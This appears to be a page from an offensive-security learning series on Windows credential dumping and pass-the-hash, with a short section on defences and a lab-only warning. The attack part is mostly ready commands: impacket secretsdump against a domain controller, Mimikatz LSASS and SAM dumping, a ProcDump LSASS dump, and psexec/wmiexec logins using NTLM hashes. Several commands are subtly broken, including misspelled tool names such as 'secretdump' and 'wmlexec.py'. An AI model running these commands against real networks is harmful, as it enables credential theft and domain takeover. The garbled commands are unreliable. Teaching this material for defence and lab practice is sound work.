

Credential Dumping & Pass-the-Hash

Why dump credentials

Passwords regenerate access. One foothold + flattened creds = domain-wide access. Attackers dump, spray, and move.

The Windows targets

Location	What's there	Tools
LSASS	Logged-in user creds/tickets in memory	Mimikatz sekurlsa, ProcDump + lsassy
SAM	Local user hashes (sometimes LM/NTLM)	reg save SAM, secretdump
LSA Secrets	Cached domain creds, service passwords	secretdump.py
DCSync (replication ACK)	Request password hashes from the DC directly	secretdump -just-dc
NTDS.dit + SYSTEM	Full domain user-hash database	esedbexport / secretdump

The tools

```
# From a foothold (impacket suite on Kali)
impacket-secretdump server/domain/user:'P@ss'@10.0.0.30
impacket-secretdump -just-dc-ntlm domain/user:'P@ss'@10.0.0.30

# Mimikatz (on Windows host)
privilege::debug
sekurlsa::logonpasswords
lsadump::sam

# ProcDump LSASS + offline extraction (EDR-friendly-ish)
```

```
procdump -ma lsass.exe lsass.dmp  
# then: lsassy -d file.dmp to extract NTLM hashes offline
```

Pass-the-Hash (PtH)

You don't need the plaintext – the hash authenticates.

```
# Use the NTLM hash to schedule a task / exec on another box  
psexec.py domain/user@10.0.0.30 -hashes :<NTLMhash>  
wmlexec.py domain/user@10.0.0.30 -hashes :<NTLMhash>
```

Modern challenges

LSA protection (RunAsPPL): blocks Mimikatz sekurlsa unless bypassed

Credential Guard: moves creds into VBS-isolated area – blocks dumping; forces alternative moves (some still via SSH or cached tickets)

EDR: LSASS read access is heavily monitored (Sysmon Event ID 10, 4663, 4660)

Defenders now hunt for mimikatz behaviors, not just the binary

Opsec note for learning

Dumping and PtH on anything but YOUR OWN lab is both a crime and career-ending. Repeat the four-question gate before every credential move.

[← Password Attacks: Online & O...](#)

[Active Directory Attack Paths →](#)